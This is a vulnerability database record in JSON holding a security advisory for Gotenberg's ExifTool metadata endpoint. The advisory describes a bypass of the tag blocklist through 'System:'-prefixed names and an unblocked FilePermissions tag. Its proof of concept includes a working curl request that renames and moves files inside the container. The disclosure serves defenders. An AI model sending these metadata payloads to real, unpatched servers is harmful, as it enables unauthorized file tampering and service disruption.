{"id":"CVE-2026-40893","aliases":["GHSA-62p3-hvxx-fxg4","GO-2026-5162"],"url":"https://o3.security/vulnerability/CVE-2026-40893","summary":"Gotenberg: ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names Allows Arbitrary File Rename and Move","details":"### Summary\n\nGotenberg blocks certain ExifTool tag names like `FileName` and `Directory` to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — `System:FileName` — which does the exact same thing. Gotenberg only checks if the tag is exactly `FileName`, so `System:FileName` slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.\n\nThis bypasses the fix from [GHSA-qmwh-9m9c-h36m](https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m).\n\n### Details\n\nThink of it like a nightclub bouncer with a blocklist of banned names. The blocklist says \"Block anyone named **John**.\" A person shows up and says \"I'm **Mr. John**.\" The bouncer checks — \"Mr. John\" is not \"John\" — so he lets them in. But inside the club, everyone knows Mr. John IS John.\n\nThat's exactly what happens here:\n\n**The blocklist** (`exiftool.go` line 275-280) blocks these tag names:\n\n```\nFileName\nDirectory\nHardLink\nSymLink\n```\n\n**The check** (`exiftool.go` line 295-301) compares what the user sent against this list:\n\n```go\nif strings.EqualFold(key, tag) {   // is \"System:FileName\" equal to \"FileName\"?\n    delete(metadata, key)            // no — so it's NOT deleted\n}\n```\n\n`System:FileName` is not equal to `FileName` (one is 16 characters, the other is 8), so it passes through.\n\n**But ExifTool treats them as the same thing.** In ExifTool, `System:` is just a group prefix — like a folder name before the tag. `System:FileName` and `FileName` both mean \"rename this file.\" The [ExifTool docs](https://exiftool.org/exiftool_pod.html) say: *\"A tag name may include leading group names separated by colons.\"*\n\n**Why the colon is allowed:** The key validation regex (`exiftool.go` line 31) explicitly permits colons:\n\n```go\nvar safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\\-_.:]+$`)\n//                                                    ^ colon is allowed\n```\n\nSo the full chain is:\n\n1. Attacker sends `System:FileName` → passes the regex (colon is allowed)\n2. `System:FileName` → passes the blocklist (it's not equal to `FileName`)\n3. ExifTool receives `System:FileName` → treats it as `FileName` → **renames the file**\n\n**Bonus finding:** The `FilePermissions` tag is not in the blocklist at all. Sending `{\"FilePermissions\": \"rwxrwxrwx\"}` tells ExifTool to chmod the file, and nothing stops it.\n\n### PoC\n\n**Setup — start Gotenberg with default settings:**\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\n\n**Create a folder inside the container where we'll move the file to:**\n\n```bash\ndocker exec gotenberg-poc mkdir -p /tmp/evil\n```\n\n**Send the attack — one curl command:**\n\n```bash\ncurl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n  -F 'files=@any-pdf-file.pdf' \\\n  -F 'metadata={\"System:FileName\":\"stolen.pdf\",\"System:Directory\":\"/tmp/evil\"}'\n```\n\nThis returns HTTP 404 because the file got moved before the server could return it.\n\n**Check that the file actually moved:**\n\n```bash\ndocker exec gotenberg-poc ls -la /tmp/evil/\n```\n\n**Result:**\n\n```\n-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf\n```\n\nThe file is sitting in `/tmp/evil/stolen.pdf`. It was renamed from its random UUID name to `stolen.pdf` and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.\n\n**Proof that the existing blocklist works for bare names (control test):**\n\n```bash\ncurl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n  -F 'files=@any-pdf-file.pdf' \\\n  -F 'metadata={\"FileName\":\"stolen.pdf\",\"Directory\":\"/tmp/evil\"}'\n```\n\nThis returns HTTP 500 — the bare `FileName` tag was correctly blocked. Only the `System:FileName` variant gets through.\n\n**Other ways to exploit the same bug:**\n\n- `system:filename` (lowercase) — also works because ExifTool is case-insensitive\n- `system:directory` — moves the file to any writable folder\n- `FilePermissions` — changes the file's permissions (this tag is simply missing from the blocklist entirely)\n\n**Every endpoint that accepts the `metadata` field is affected**, including `/forms/chromium/convert/html`, `/forms/libreoffice/convert`, `/forms/pdfengines/merge`, and all other conversion routes.\n\n### Impact\n\nAny person who can send HTTP requests to Gotenberg (no login needed by default) can:\n\n- **Move files anywhere** inside the container by using `System:Directory`\n- **Rename files** to anything by using `System:FileName`\n- **Change file permissions** by using `FilePermissions` (this tag is not blocked at all)\n- **Break the service** for other users — when a file gets moved mid-request, the server returns 404 errors\n\nIn real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder — potentially affecting whatever service reads files from there.","published":"2026-05-14T15:18:27.758Z","modified":"2026-08-12T03:51:32.835919373Z","cvss":{"score":8.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"},"epss":{"score":0.00347,"percentile":0.27619,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/gotenberg/gotenberg/v8","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40893.json"},{"type":"ADVISORY","url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-62p3-hvxx-fxg4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40893"},{"type":"PACKAGE","url":"https://github.com/gotenberg/gotenberg"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:32.835919373Z"}}